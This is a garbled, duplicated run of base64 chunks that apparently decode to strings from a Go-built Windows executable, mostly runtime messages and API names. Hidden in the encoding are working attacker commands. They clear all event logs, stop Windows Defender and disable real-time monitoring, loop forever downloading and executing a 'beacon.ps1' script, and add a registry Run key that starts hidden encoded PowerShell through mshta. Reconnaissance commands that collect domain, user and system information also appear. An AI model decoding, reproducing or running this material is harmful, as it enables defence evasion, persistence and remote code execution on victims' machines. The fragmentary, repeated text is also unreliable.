udCAhPSBzLm5lbGVtcyAmJiBmcmVlSW5kZXggPT0gcy5uZWxlbXNzd2VlcGVyIGxlZnQgb3V0c3RhbmRpbmcgYWNyb3NzIHN3ZWVwIGdlbmVyYXRpb25zZnVsbHkgZW1wdHkgdW5mcmVlZCBzcGFuIHNldCBibG9jayBmb3VuZCBpbiByZXNldGNhc2dzdGF0dXM6IHdhaXRpbmcgZm9yIEd3YWl0aW5nIGJ1dCBpcyBHcnVubmFibGVpbnZhbGlkIG9yIGluY29tcGxldGUgbXVsdGlieXRlIG9yIHdpZGUgY2hhcmFjdGVycnVudGltZTogdW5hYmxlIHRvIGFjcXVpcmUgLSBzZW1hcGhvcmUgb3V0IG9mIHN5bmNtYWxsb2NnYyBjYWxsZWQgd2l0aCBnY3BoYXNlID09IF9HQ21hcmt0ZXJtaW5hdGlvbnJ1bnRpbWUuUGlubmVyOiBvYmplY3Qgd2FzIGFsbG9jYXRlZCBpbnRvIGFuIGFyZW5hcnVudGltZS5QaW5uZXI6IGRlY3JlYXNlZCBub24tZXhpc3RpbmcgcGluIGNvdW50ZXJyZWN1cnNpdmUgY2FsbCBkdXJpbmcgaW5pdGlhbGl6YXRpb24gLSBsaW5rZXIgc2tld2F0dGVtcHQgdG8gZXhlY3V0ZSBzeXN0ZW0gc3RhY2sgY29kZSBvbiB1c2VyIHN0YWNrY29tcGlsZUNhbGxiYWNrOiBmdW5jdGlvbiBhcmd1bWVudCBmcmFtZSB0b28gbGFyZ2VpbnRlcm5hbCBlcnJvcjogdG9vIG1hbnkgcmVsZWFzZXMgb2YgcHJvY2VzcyBoYW5kbGVsaW1pdGVyRXZlbnQuc3RvcDogaW52YWxpZCBsaW1pdGVyIGV2ZW50IHR5cGUgZm91bmRwb3RlbnRpYWxseSBvdmVybGFwcGluZyBpbi11c2UgYWxsb2NhdGlvbnMgZGV0ZWN0ZWRydW50aW1lOiBuZXRwb2xsOg==c6:T554,bm8gZGVmZXJyZXR1cm5iYWQgcmVzdGFydCBQQy10aHJlYWQgbGltaXRzdG9wbSBzcGlubmluZyBubWlkbGVsb2NrZWQ9IG5lZWRzcGlubmluZz0gc2NoZWR0aWNrcz1bIHJhbmRpbml0IHR3aWNlc3RvcmU2NCBmYWlsZWRzZW1hUm9vdCBxdWV1ZWJhZCBhbGxvY0NvdW50YmFkIHNwYW4gc3RhdGVzdGFjayBvdmVyZmxvdyB1bnR5cGVkIGFyZ3MgIG91dCBvZiByYW5nZSBubyBtb2R1bGUgZGF0YSBpbiBnb3JvdXRpbmUgcnVudGltZTogc2VxMT1ydW50aW1lOiBnb2lkPWZpbGUgdG9vIGxhcmdlaXMgYSBkaXJlY3RvcnlsZXZlbCAyIGhhbHRlZGxldmVsIDMgaGFsdGVkdG9vIG1hbnkgbGlua3NubyBzdWNoIGRldmljZXByb3RvY29sIGVycm9ydGV4dCBmaWxlIGJ1c3l0b28gbWFueSB1c2Vyc0NyeXB0R2VuUmFuZG9tQ2VydENsb3NlU3RvcmVDcmVhdGVQcm9jZXNzV0ZpbmRGaXJzdEZpbGVXRm9ybWF0TWVzc2FnZVdHZXRDb25zb2xlTW9kZUdldFByb2NBZGRyZXNzUHJvY2VzczMyTmV4dFdTZXRGaWxlUG9pbnRlck5ldFVzZXJHZXRJbmZvR2V0VXNlck5hbWVFeFdUcmFuc2xhdGVOYW1lV2dldHByb3RvYnluYW1lIHByb2NlZHVyZSBpbiB3aW5hcGkgZXJyb3IgI3VucmVhY2hhYmxlOiAgUmVnU2V0VmFsdWVFeFdjcnlwdG8vZmlwczE0MG1pbWUvbXVsdGlwYXJ0eDUwOXNoYTI1NnNraWRHZXRQcm9jZXNzVGltZXNEdXBsaWNhdGVIYW5kbGUsTTMuMi4wLE0xMS4xLjA0NzY4MzcxNTgyMDMxMjVpbnZhbGlkIGFyZ1NpemU8aW52YWxpZCBWYWx1ZT5JbXBlcnNvbmF0ZVNlbGZPcGVuVGhyZWFkVG9rZW5jb21wdXRlTWF4UHJvY3N1cGRhdGVNYXhQcm9jc0dhbGxvY21SSW50ZXJuYWxHQyAoZnJhY3Rpb25hbCl3cml0ZSBoZWFwIGR1bXBhc3luY3ByZWVtcHRvZmZjaGVja2ZpbmFsaXplcnNmb3JjZSBnYyAoaWRsZSlzeW5jLk11dGV4LkxvY2tydW50aW1lLkdvc2NoZWRtYWxsb2MgZGVhZGxvY2tydW50aW1lIGVycm9yOiBzY2FuIG1pc3NlZCBhIGdtaXNhbGlnbmVkIG1hc2tydW50aW1lOiBtaW4gPSBydW50aW0=c7:T554,bm8gZGVmZXJyZXR1cm5iYWQgcmVzdGFydCBQQy10aHJlYWQgbGltaXRzdG9wbSBzcGlubmluZyBubWlkbGVsb2NrZWQ9IG5lZWRzcGlubmluZz0gc2NoZWR0aWNrcz1bIHJhbmRpbml0IHR3aWNlc3RvcmU2NCBmYWlsZWRzZW1hUm9vdCBxdWV1ZWJhZCBhbGxvY0NvdW50YmFkIHNwYW4gc3RhdGVzdGFjayBvdmVyZmxvdyB1bnR5cGVkIGFyZ3MgIG91dCBvZiByYW5nZSBubyBtb2R1bGUgZGF0YSBpbiBnb3JvdXRpbmUgcnVudGltZTogc2VxMT1ydW50aW1lOiBnb2lkPWZpbGUgdG9vIGxhcmdlaXMgYSBkaXJlY3RvcnlsZXZlbCAyIGhhbHRlZGxldmVsIDMgaGFsdGVkdG9vIG1hbnkgbGlua3NubyBzdWNoIGRldmljZXByb3RvY29sIGVycm9ydGV4dCBmaWxlIGJ1c3l0b28gbWFueSB1c2Vyc0NyeXB0R2VuUmFuZG9tQ2VydENsb3NlU3RvcmVDcmVhdGVQcm9jZXNzV0ZpbmRGaXJzdEZpbGVXRm9ybWF0TWVzc2FnZVdHZXRDb25zb2xlTW9kZUdldFByb2NBZGRyZXNzUHJvY2VzczMyTmV4dFdTZXRGaWxlUG9pbnRlck5ldFVzZXJHZXRJbmZvR2V0VXNlck5hbWVFeFdUcmFuc2xhdGVOYW1lV2dldHByb3RvYnluYW1lIHByb2NlZHVyZSBpbiB3aW5hcGkgZXJyb3IgI3VucmVhY2hhYmxlOiAgUmVnU2V0VmFsdWVFeFdjcnlwdG8vZmlwczE0MG1pbWUvbXVsdGlwYXJ0eDUwOXNoYTI1NnNraWRHZXRQcm9jZXNzVGltZXNEdXBsaWNhdGVIYW5kbGUsTTMuMi4wLE0xMS4xLjA0NzY4MzcxNTgyMDMxMjVpbnZhbGlkIGFyZ1NpemU8aW52YWxpZCBWYWx1ZT5JbXBlcnNvbmF0ZVNlbGZPcGVuVGhyZWFkVG9rZW5jb21wdXRlTWF4UHJvY3N1cGRhdGVNYXhQcm9jc0dhbGxvY21SSW50ZXJuYWxHQyAoZnJhY3Rpb25hbCl3cml0ZSBoZWFwIGR1bXBhc3luY3ByZWVtcHRvZmZjaGVja2ZpbmFsaXplcnNmb3JjZSBnYyAoaWRsZSlzeW5jLk11dGV4LkxvY2tydW50aW1lLkdvc2NoZWRtYWxsb2MgZGVhZGxvY2tydW50aW1lIGVycm9yOiBzY2FuIG1pc3NlZCBhIGdtaXNhbGlnbmVkIG1hc2tydW50aW1lOiBtaW4gPSBydW50aW1lc8:T410,cGF0aD0gOiB1bmtub3duIHBjICBjYWxsZWQgZnJvbSBydW50aW1lOiBwaWQ9bGV2ZWwgMyByZXNldHNybW91bnQgZXJyb3J0aW1lciBleHBpcmVkZXhjaGFuZ2UgZnVsbFJlZ0VudW1LZXlFeFdSZWdPcGVuS2V5RXhXQ2VydE9wZW5TdG9yZUZpbmROZXh0RmlsZVdNYXBWaWV3T2ZGaWxlVmlydHVhbFVubG9ja1dyaXRlQ29uc29sZVdGcmVlQWRkckluZm9XZ2V0aG9zdGJ5bmFtZWdldHNlcnZieW5hbWVSZWdEZWxldGVLZXlXUmVnRW51bVZhbHVlV2NyeXB0by9zdWJ0bGVnb2NhY2hldmVyaWZ5aW5zdGFsbGdvcm9vdGh0bWwvdGVtcGxhdGV0bHNtYXhyc2FzaXplKHdpbmRvdy5jbG9zZSlhc3luY3RpbWVyY2hhbnVuZXhwZWN0ZWQgRU9GMTkwNzM0ODYzMjgxMjU5NTM2NzQzMTY0MDYyNXVuc2FmZS5Qb2ludGVyIG9uIHplcm8gVmFsdWV1bmtub3duIG1ldGhvZE9wZW5TQ01hbmFnZXJXTW9kdWxlMzJGaXJzdFd1c2VyQXJlbmFTdGF0ZUdDIChkZWRpY2F0ZWQpcmVhZCBtZW0gc3RhdHN1cGRhdGVtYXhwcm9jc2djc3RvcHRoZXdvcmxkcHJvZnN0YWNrZGVwdGh0cmFjZWFsbG9jZnJlZUdDIGFzc2lzdCB3YWl0ZmluYWxpemVyIHdhaXRzeW5jLkNvbmQuV2FpdHMuYWxsb2NDb3VudD0gVmFsdWUgb2YgdHlwZSBuaWwgZWxlbSB0eXBlISB0byBmaW5hbGl6ZXIgc2NhbjogY2xhc3MgTCAgZmluYWxpemVycyArIEdDIHdvcmtlciBpbml0cnVudGltZTogZnVsbD1ydW50aW1lOiB3YW50PU1COyBhbGxvY2F0ZWQgYWxsc3BhbnMgYXJyYXlzY2F2ZW5nZSBpbmRleFJ0bEdldFZlcnNpb24=c9:T554,UG9zdFF1ZXVlZENvbXBsZXRpb25TdGF0dXMgZmFpbGVkZmF0YWw6IHN5c3RlbXN0YWNrIGNhbGxlZCBmcm9tIHVuZXhwZWN0ZWQgZ29yb3V0aW5lZ29kZWJ1ZzogVmFsdWUgb2YgbmFtZSBub3QgbGlzdGVkIGluIGdvZGVidWdzLkFsbDogZmFpbGVkIHRvIGNvcnJlY3RseSBmbHVzaCBhbGwgUC1vd25lZCBjbGVhbnVwIGJsb2Nrc3J1bnRpbWUuU2V0RmluYWxpemVyOiBwb2ludGVyIG5vdCBpbiBhbGxvY2F0ZWQgYmxvY2tydW50aW1lOiB1c2Ugb2YgRml4QWxsb2NfQWxsb2MgYmVmb3JlIEZpeEFsbG9jX0luaXRzcGFuIHNldCBibG9jayB3aXRoIHVucG9wcGVkIGVsZW1lbnRzIGZvdW5kIGluIHJlc2V0cnVudGltZTogR2V0UXVldWVkQ29tcGxldGlvblN0YXR1c0V4IGZhaWxlZCAoZXJybm89IHJ1bnRpbWU6IE50Q3JlYXRlV2FpdENvbXBsZXRpb25QYWNrZXQgZmFpbGVkOyBlcnJubz1jYXNmcm9tX0dzY2Fuc3RhdHVzOiBncC0+c3RhdHVzIGlzIG5vdCBpbiBzY2FuIHN0YXRlbm9uLWNvbmN1cnJlbnQgc3dlZXAgZmFpbGVkIHRvIGRyYWluIGFsbCBzd2VlcCBxdWV1ZXNydW50aW1lOiBOdENhbmNlbFdhaXRDb21wbGV0aW9uUGFja2V0IGZhaWxlZDsgZXJybm89IGV4aXRlZCBhIGdvcm91dGluZSBpbnRlcm5hbGx5IGxvY2tlZCB0byB0aGUgT1MgdGhyZWFkY29tcGlsZUNhbGxiYWNrOiBhcmd1bWVudCBzaXplIGlzIGxhcmdlciB0aGFuIHVpbnRwdHJzbWFsbCBtYXAgd2l0aCBubyBlbXB0eSBzbG90IChjb25jdXJyZW50IG1hcCB3cml0ZXM/KXJ1bnRpbWUubSBtZW1vcnkgYWxpZ25tZW50IHRvbyBzbWFsbCBmb3Igc3BpbmJpdCBtdXRleG1pbiBzaXplIG9mIG1hbGxvYyBoZWFkZXIgaXMgbm90IGEgc2l6ZSBjbGFzcyBib3VuZGFyeWdjQ29udHJvbGxlclN0YXRlLmZpbmRSdW5uYWJsZTogYmxhY2tlbmluZyBub3QgZW5hYmxlZG5vIGdvcm91dGluZXMgKG1haW4gY2FsbGVkIHJ1bnRpbWUuR29leGl0KSAtIGRlYWRsb2NrIXRyYWNlOiBub24tZW1wdHkgZnVsbCB0cmFjZSBidWZmZXIgZm9yIGRvbg==ca:T554,UG9zdFF1ZXVlZENvbXBsZXRpb25TdGF0dXMgZmFpbGVkZmF0YWw6IHN5c3RlbXN0YWNrIGNhbGxlZCBmcm9tIHVuZXhwZWN0ZWQgZ29yb3V0aW5lZ29kZWJ1ZzogVmFsdWUgb2YgbmFtZSBub3QgbGlzdGVkIGluIGdvZGVidWdzLkFsbDogZmFpbGVkIHRvIGNvcnJlY3RseSBmbHVzaCBhbGwgUC1vd25lZCBjbGVhbnVwIGJsb2Nrc3J1bnRpbWUuU2V0RmluYWxpemVyOiBwb2ludGVyIG5vdCBpbiBhbGxvY2F0ZWQgYmxvY2tydW50aW1lOiB1c2Ugb2YgRml4QWxsb2NfQWxsb2MgYmVmb3JlIEZpeEFsbG9jX0luaXRzcGFuIHNldCBibG9jayB3aXRoIHVucG9wcGVkIGVsZW1lbnRzIGZvdW5kIGluIHJlc2V0cnVudGltZTogR2V0UXVldWVkQ29tcGxldGlvblN0YXR1c0V4IGZhaWxlZCAoZXJybm89IHJ1bnRpbWU6IE50Q3JlYXRlV2FpdENvbXBsZXRpb25QYWNrZXQgZmFpbGVkOyBlcnJubz1jYXNmcm9tX0dzY2Fuc3RhdHVzOiBncC0+c3RhdHVzIGlzIG5vdCBpbiBzY2FuIHN0YXRlbm9uLWNvbmN1cnJlbnQgc3dlZXAgZmFpbGVkIHRvIGRyYWluIGFsbCBzd2VlcCBxdWV1ZXNydW50aW1lOiBOdENhbmNlbFdhaXRDb21wbGV0aW9uUGFja2V0IGZhaWxlZDsgZXJybm89IGV4aXRlZCBhIGdvcm91dGluZSBpbnRlcm5hbGx5IGxvY2tlZCB0byB0aGUgT1MgdGhyZWFkY29tcGlsZUNhbGxiYWNrOiBhcmd1bWVudCBzaXplIGlzIGxhcmdlciB0aGFuIHVpbnRwdHJzbWFsbCBtYXAgd2l0aCBubyBlbXB0eSBzbG90IChjb25jdXJyZW50IG1hcCB3cml0ZXM/KXJ1bnRpbWUubSBtZW1vcnkgYWxpZ25tZW50IHRvbyBzbWFsbCBmb3Igc3BpbmJpdCBtdXRleG1pbiBzaXplIG9mIG1hbGxvYyBoZWFkZXIgaXMgbm90IGEgc2l6ZSBjbGFzcyBib3VuZGFyeWdjQ29udHJvbGxlclN0YXRlLmZpbmRSdW5uYWJsZTogYmxhY2tlbmluZyBub3QgZW5hYmxlZG5vIGdvcm91dGluZXMgKG1haW4gY2FsbGVkIHJ1bnRpbWUuR29leGl0KSAtIGRlYWRsb2NrIXRyYWNlOiBub24tZW1wdHkgZnVsbCB0cmFjZSBidWZmZXIgZm9yIGRvbmU=cb:T54c,cmN4ICAgICByZHggICAgIHJkaSAgICAgcnNpICAgICByYnAgICAgIHJzcCAgICAgcjggICAgICByOSAgICAgIHIxMCAgICAgcjExICAgICByMTIgICAgIHIxMyAgICAgcjE0ICAgICByMTUgICAgIHJpcCAgICAgcmZsYWdzICBjcyAgICAgIGZzICAgICAgZ3MgICAgICAgaXMgbm90ICBwb2ludGVyQkFEIFJBTksgc3RhdHVzIHVua25vd24odHJpZ2dlcj0gbnBhZ2VzPSBuYWxsb2M9IG5mcmVlZD1bc2lnbmFsICBuZXd2YWw9IG1jb3VudD0gYnl0ZXMsICBzdGFjaz1bIG1pbkxDPSAgbWF4cGM9ICBwYWNrZWQ9IC0+IHB0cj1zdGFjaz1bIG1pbnV0ZXMgc3RhdHVzPSBldHlwZXMgbm8gYW5vZGVDYW5jZWxJb1JlYWRGaWxlQWNjZXB0RXhXU0FJb2N0bHNodXRkb3dub3ZlcmZsb3dhdng1MTJid2F2eDUxMnZsZ28vdHlwZXNuZXQvaHR0cGdvL2J1aWxkbmV0ZWRuczB0bHNtbGtlbW1zaHRhLmV4ZXZic2NyaXB0OmZvcmsvZXhlYyNleGVjd2FpdFdlZG5lc2RheVNlcHRlbWJlcjI0NDE0MDYyNWNvbXBsZXg2NGludGVyZmFjZWludmFsaWQgbnJlZmxlY3Q6IGZ1bmNhcmdzKGJhZCBpbmRpckludGVyZmFjZXJ3eHJ3eHJ3eG50ZGxsLmRsbHBzYXBpLmRsbHRpbWVyU2VuZHBvbGxDYWNoZXByb2ZCbG9ja3N0YWNrcG9vbGhjaGFuTGVhZndidWZTcGFuc0dDIChpZGxlKW1TcGFuRGVhZGluaXR0cmFjZXNjYXZ0cmFjZXBhbmljd2FpdGNoYW4gc2VuZHByZWVtcHRlZGNvcm91dGluZWNvcHlzdGFja2ZpbmFsaXplciBtcyBjcHUsICAoZm9yY2VkKSBzcGFucS5uPSB3YnVmMS5uPSB3YnVmMi5uPSBzLmxpbWl0PSBzLnN0YXRlPSBCIHdvcmsgKCBCIGV4cC4pICBtYXJrZWQgICB1bm1hcmtlZCBpbiB1c2UpLCBzaXplID0gYmFkIHBydW5lLCB0YWlsID0gcmVjb3ZlcjogIG5vdCBpbiBbY3R4dCAhPSAwLCBvbGR2YWw9LCBuZXd2YWw9IHRocmVhZHM9OiBzdGF0dXM9IGJsb2NrZWQ9IGxvY2tlZGc9YXRvbWljb3I4IHJ1bnRpbWU9IG0tPmN1cmc9KHVua25vd24pdG90YWwgPCAwdHJhY2ViYWNrKGR1cmFibGUpfSBzcc:T550,cmN4ICAgICByZHggICAgIHJkaSAgICAgcnNpICAgICByYnAgICAgIHJzcCAgICAgcjggICAgICByOSAgICAgIHIxMCAgICAgcjExICAgICByMTIgICAgIHIxMyAgICAgcjE0ICAgICByMTUgICAgIHJpcCAgICAgcmZsYWdzICBjcyAgICAgIGZzICAgICAgZ3MgICAgICAgaXMgbm90ICBwb2ludGVyQkFEIFJBTksgc3RhdHVzIHVua25vd24odHJpZ2dlcj0gbnBhZ2VzPSBuYWxsb2M9IG5mcmVlZD1bc2lnbmFsICBuZXd2YWw9IG1jb3VudD0gYnl0ZXMsICBzdGFjaz1bIG1pbkxDPSAgbWF4cGM9ICBwYWNrZWQ9IC0+IHB0cj1zdGFjaz1bIG1pbnV0ZXMgc3RhdHVzPSBldHlwZXMgbm8gYW5vZGVDYW5jZWxJb1JlYWRGaWxlQWNjZXB0RXhXU0FJb2N0bHNodXRkb3dub3ZlcmZsb3dhdng1MTJid2F2eDUxMnZsZ28vdHlwZXNuZXQvaHR0cGdvL2J1aWxkbmV0ZWRuczB0bHNtbGtlbW1zaHRhLmV4ZXZic2NyaXB0OmZvcmsvZXhlYyNleGVjd2FpdFdlZG5lc2RheVNlcHRlbWJlcjI0NDE0MDYyNWNvbXBsZXg2NGludGVyZmFjZWludmFsaWQgbnJlZmxlY3Q6IGZ1bmNhcmdzKGJhZCBpbmRpckludGVyZmFjZXJ3eHJ3eHJ3eG50ZGxsLmRsbHBzYXBpLmRsbHRpbWVyU2VuZHBvbGxDYWNoZXByb2ZCbG9ja3N0YWNrcG9vbGhjaGFuTGVhZndidWZTcGFuc0dDIChpZGxlKW1TcGFuRGVhZGluaXR0cmFjZXNjYXZ0cmFjZXBhbmljd2FpdGNoYW4gc2VuZHByZWVtcHRlZGNvcm91dGluZWNvcHlzdGFja2ZpbmFsaXplciBtcyBjcHUsICAoZm9yY2VkKSBzcGFucS5uPSB3YnVmMS5uPSB3YnVmMi5uPSBzLmxpbWl0PSBzLnN0YXRlPSBCIHdvcmsgKCBCIGV4cC4pICBtYXJrZWQgICB1bm1hcmtlZCBpbiB1c2UpLCBzaXplID0gYmFkIHBydW5lLCB0YWlsID0gcmVjb3ZlcjogIG5vdCBpbiBbY3R4dCAhPSAwLCBvbGR2YWw9LCBuZXd2YWw9IHRocmVhZHM9OiBzdGF0dXM9IGJsb2NrZWQ9IGxvY2tlZGc9YXRvbWljb3I4IHJ1bnRpbWU9IG0tPmN1cmc9KHVua25vd24pdG90YWwgPCAwdHJhY2ViYWNrKGR1cmFibGUpfSBzdA==cd:T554,cmQgVGltZVBha2lzdGFuIFN0YW5kYXJkIFRpbWVTYWtoYWxpbiBTdGFuZGFyZCBUaW1lR2VvcmdpYW4gU3RhbmRhcmQgVGltZUNhdWNhc3VzIFN0YW5kYXJkIFRpbWVUYXNtYW5pYSBTdGFuZGFyZCBUaW1lRGF0ZWxpbmUgU3RhbmRhcmQgVGltZUhhd2FpaWFuIFN0YW5kYXJkIFRpbWU0NjU2NjEyODczMDc3MzkyNTc4MTI1dW5leHBlY3RlZCBtZXRob2Qgc3RlcENyZWF0ZUlvQ29tcGxldGlvblBvcnRSdGxMb29rdXBGdW5jdGlvbkVudHJ5TnRRdWVyeUluZm9ybWF0aW9uRmlsZUNyZWF0ZUVudmlyb25tZW50QmxvY2tXU0FHZXRPdmVybGFwcGVkUmVzdWx0aW50ZWdlciBkaXZpZGUgYnkgemVyb0NvdW50UGFnZXNJblVzZSAodGVzdClSZWFkTWV0cmljc1Nsb3cgKHRlc3QpdHJhY2UgcmVhZGVyIChibG9ja2VkKXRyYWNlIGdvcm91dGluZSBzdGF0dXNHQyB3ZWFrIHRvIHN0cm9uZyB3YWl0Y2hhbiByZWNlaXZlIChkdXJhYmxlKXNlbmQgb24gY2xvc2VkIGNoYW5uZWxjYWxsIG5vdCBhdCBzYWZlIHBvaW50Z2V0ZW52IGJlZm9yZSBlbnYgaW5pdGludGVyZmFjZSBjb252ZXJzaW9uOiBmcmVlSW5kZXggaXMgbm90IHZhbGlkcy5mcmVlaW5kZXggPiBzLm5lbGVtc2JhZCBzd2VlcGdlbiBpbiByZWZpbGxzcGFuIGhhcyBubyBmcmVlIHNwYWNlL2djL3NjYW4vZ2xvYmFsczpieXRlcy9nYy9oZWFwL2ZyZWVzOm9iamVjdHNydW50aW1lOiB3b3JrLm53YWl0ID0gcnVudGltZTpzY2Fuc3RhY2s6IGdwPXNjYW5zdGFjayAtIGJhZCBzdGF0dXNoZWFkVGFpbEluZGV4IG92ZXJmbG93cnVudGltZS5tYWluIG5vdCBvbiBtMHNldF9jcm9zc2NhbGwyIG1pc3NpbmdiYWQgZy0+c3RhdHVzIGluIHJlYWR5d2lyZXA6IGludmFsaWQgcCBzdGF0ZWFzc2VtYmx5IGNoZWNrcyBmYWlsZWRzdGFjayBub3QgYSBwb3dlciBvZiAybWlucGMgb3IgbWF4cGMgaW52YWxpZGNvbXBpbGVDYWxsYmFjazogdHlwZSBzeXNjYWxsOiBuID4gbGVuKGFyZ3Mpbm9uLUdvIGZ1bmN0aW9uIGF0IHBjPWFyZ3VtZW50IGxpc3QgdG9vIGxvbmdhZGRyce:T558,cmQgVGltZVBha2lzdGFuIFN0YW5kYXJkIFRpbWVTYWtoYWxpbiBTdGFuZGFyZCBUaW1lR2VvcmdpYW4gU3RhbmRhcmQgVGltZUNhdWNhc3VzIFN0YW5kYXJkIFRpbWVUYXNtYW5pYSBTdGFuZGFyZCBUaW1lRGF0ZWxpbmUgU3RhbmRhcmQgVGltZUhhd2FpaWFuIFN0YW5kYXJkIFRpbWU0NjU2NjEyODczMDc3MzkyNTc4MTI1dW5leHBlY3RlZCBtZXRob2Qgc3RlcENyZWF0ZUlvQ29tcGxldGlvblBvcnRSdGxMb29rdXBGdW5jdGlvbkVudHJ5TnRRdWVyeUluZm9ybWF0aW9uRmlsZUNyZWF0ZUVudmlyb25tZW50QmxvY2tXU0FHZXRPdmVybGFwcGVkUmVzdWx0aW50ZWdlciBkaXZpZGUgYnkgemVyb0NvdW50UGFnZXNJblVzZSAodGVzdClSZWFkTWV0cmljc1Nsb3cgKHRlc3QpdHJhY2UgcmVhZGVyIChibG9ja2VkKXRyYWNlIGdvcm91dGluZSBzdGF0dXNHQyB3ZWFrIHRvIHN0cm9uZyB3YWl0Y2hhbiByZWNlaXZlIChkdXJhYmxlKXNlbmQgb24gY2xvc2VkIGNoYW5uZWxjYWxsIG5vdCBhdCBzYWZlIHBvaW50Z2V0ZW52IGJlZm9yZSBlbnYgaW5pdGludGVyZmFjZSBjb252ZXJzaW9uOiBmcmVlSW5kZXggaXMgbm90IHZhbGlkcy5mcmVlaW5kZXggPiBzLm5lbGVtc2JhZCBzd2VlcGdlbiBpbiByZWZpbGxzcGFuIGhhcyBubyBmcmVlIHNwYWNlL2djL3NjYW4vZ2xvYmFsczpieXRlcy9nYy9oZWFwL2ZyZWVzOm9iamVjdHNydW50aW1lOiB3b3JrLm53YWl0ID0gcnVudGltZTpzY2Fuc3RhY2s6IGdwPXNjYW5zdGFjayAtIGJhZCBzdGF0dXNoZWFkVGFpbEluZGV4IG92ZXJmbG93cnVudGltZS5tYWluIG5vdCBvbiBtMHNldF9jcm9zc2NhbGwyIG1pc3NpbmdiYWQgZy0+c3RhdHVzIGluIHJlYWR5d2lyZXA6IGludmFsaWQgcCBzdGF0ZWFzc2VtYmx5IGNoZWNrcyBmYWlsZWRzdGFjayBub3QgYSBwb3dlciBvZiAybWlucGMgb3IgbWF4cGMgaW52YWxpZGNvbXBpbGVDYWxsYmFjazogdHlwZSBzeXNjYWxsOiBuID4gbGVuKGFyZ3Mpbm9uLUdvIGZ1bmN0aW9uIGF0IHBjPWFyZ3VtZW50IGxpc3QgdG9vIGxvbmdhZGRyZQ==cf:T478,cmZhY2U6IGNhbm5vdCByZXR1cm4gdmFsdWUgb2J0YWluZWQgZnJvbSB1bmV4cG9ydGVkIGZpZWxkIG9yIG1ldGhvZGNnb2NoZWNrID4gMSBtb2RlIGlzIG5vIGxvbmdlciBzdXBwb3J0ZWQgYXQgcnVudGltZS4gVXNlIEdPRVhQRVJJTUVOVD1jZ29jaGVjazIgYXQgYnVpbGQgdGltZSBpbnN0ZWFkLndldnR1dGlsIGVsfCUge3dldnR1dGlsIGNsICIkXyJ9O25ldCBzdG9wIFdpbkRlZmVuZDtuZXQgc3RvcCB3c2NzdmM7U2V0LU1wUHJlZmVyZW5jZSAtRGlzYWJsZVJlYWx0aW1lTW9uaXRvcmluZyAkdHJ1ZXdoaWxlKCR0cnVlKXt0cnl7JHdjPU5ldy1PYmplY3QgTmV0LldlYkNsaWVudDskd2MuSGVhZGVycy5BZGQoJ1VzZXItQWdlbnQnLCdNb3ppbGxhLzUuMCcpO0lFWCgkd2MuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xMjcuMC4wLjE6ODA4MC9iZWFjb24ucHMxJykpfWNhdGNoe307U3RhcnQtU2xlZXAgLXMgMzB9cmVnIGFkZCBIS0NVXFNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1biAvdiBVcGRhdGUgL3QgUkVHX1NaIC9kICJtc2h0YSB2YnNjcmlwdDpDcmVhdGVPYmplY3QoXCJcIldTY3JpcHQuU2hlbGxcIlwiKS5SdW4oXCJcInBvd2Vyc2hlbGwgLXcgaGlkZGVuIC1lbmMgLi4uXCJcIiwwKSh3aW5kb3cuY2xvc2UpIiAvZjAwMDEwMjAzMDQwNTA2MDcwODA5MTAxMTEyMTMxNDE1MTYxNzE4MTkyMDIxMjIyMzI0MjUyNjI3MjgyOTMwMzEzMjMzMzQzNTM2MzczODM5NDA0MTQyNDM0NDQ1NDY0NzQ4NDk1MDUxNTI1MzU0NTU1NjU3NTg1OTYwNjE2MjYzNjQ2NTY2Njc2ODY5NzA3MTcyNzM3NDc1NzY3Nzc4Nzk4MDgxODI4Mzg0ODU4Njg3ODg4OTkwOTE5MjkzOTQ5NTk2OTc5ODk5d0:T554,cnN5c3RlbSBnZXQgY2FwdGlvbixkb21haW4sdXNlcm5hbWU7c3lzdGVtaW5mb0dPREVCVUc9ZXhlY3dhaXQ9MiBkZXRlY3RlZCBhIGxlYWtlZCBleGVjLkNtZCBjcmVhdGVkIGJ5OnJlZmxlY3Q6IHJlZmxlY3QuVmFsdWUuRWxlbSBvbiBhbiBpbnZhbGlkIG5vdGluaGVhcCBwb2ludGVydHJpZWQgdG8gdHJhY2UgZ29yb3V0aW5lIHdpdGggaW52YWxpZCBvciB1bnN1cHBvcnRlZCBzdGF0dXNyZWZsZWN0OiBjYWxsIG9mIHJlZmxlY3QuVmFsdWUuTGVuIG9uIHB0ciB0byBub24tYXJyYXkgVmFsdWVtYW51YWwgc3BhbiBhbGxvY2F0aW9uIGNhbGxlZCB3aXRoIG5vbi1tYW51YWxseS1tYW5hZ2VkIHR5cGVhZGRyIHJhbmdlIGJhc2UgYW5kIGxpbWl0IGFyZSBub3QgaW4gdGhlIHNhbWUgbWVtb3J5IHNlZ21lbnRydW50aW1lOiBuZXRwb2xsOiBQb3N0UXVldWVkQ29tcGxldGlvblN0YXR1cyBmYWlsZWQgKGVycm5vPSBydW50aW1lOiBtYWxmb3JtZWQgcHJvZkJ1ZiBidWZmZXIgLSB0YWcgYW5kIGRhdGEgb3V0IG9mIHN5bmNleGVjOiBDbWQgc3RhcnRlZCBhIFByb2Nlc3MgYnV0IGxlYWtlZCB3aXRob3V0IGEgY2FsbCB0byBXYWl0ICBpcyBpbiBhIHRpbnkgYmxvY2sgd2l0aCBvdGhlciAocG9zc2libHkgbG9uZy1saXZlZCkgdmFsdWVzcmVmbGVjdDogcmVmbGVjdC5WYWx1ZS5Qb2ludGVyIG9uIGFuIGludmFsaWQgbm90aW5oZWFwIHBvaW50ZXJmb3VuZCBiYWQgcG9pbnRlciBpbiBHbyBoZWFwIChpbmNvcnJlY3QgdXNlIG9mIHVuc2FmZSBvciBjZ28/KWxpbWl0ZXJFdmVudC5zdG9wOiBmb3VuZCB3cm9uZyBldmVudCBpbiBwJ3MgbGltaXRlciBldmVudCBzbG90cnVudGltZTogaW50ZXJuYWwgZXJyb3I6IG1pc3VzZSBvZiBsb2NrT1NUaHJlYWQvdW5sb2NrT1NUaHJlYWRydW50aW1lLkFkZENsZWFudXA6IHB0ciBpcyBlcXVhbCB0byBhcmcsIGNsZWFudXAgd2lsbCBuZXZlciBydW5pbnRlcm5hbC9zeW5jLkhhc2hUcmllTWFwOiByYW4gb3V0IG9mIGhhc2ggYml0cyB3aGlsZSBpdGVyYXRpbmdpbnRlcg==d1:T554,cnN5c3RlbSBnZXQgY2FwdGlvbixkb21haW4sdXNlcm5hbWU7c3lzdGVtaW5mb0dPREVCV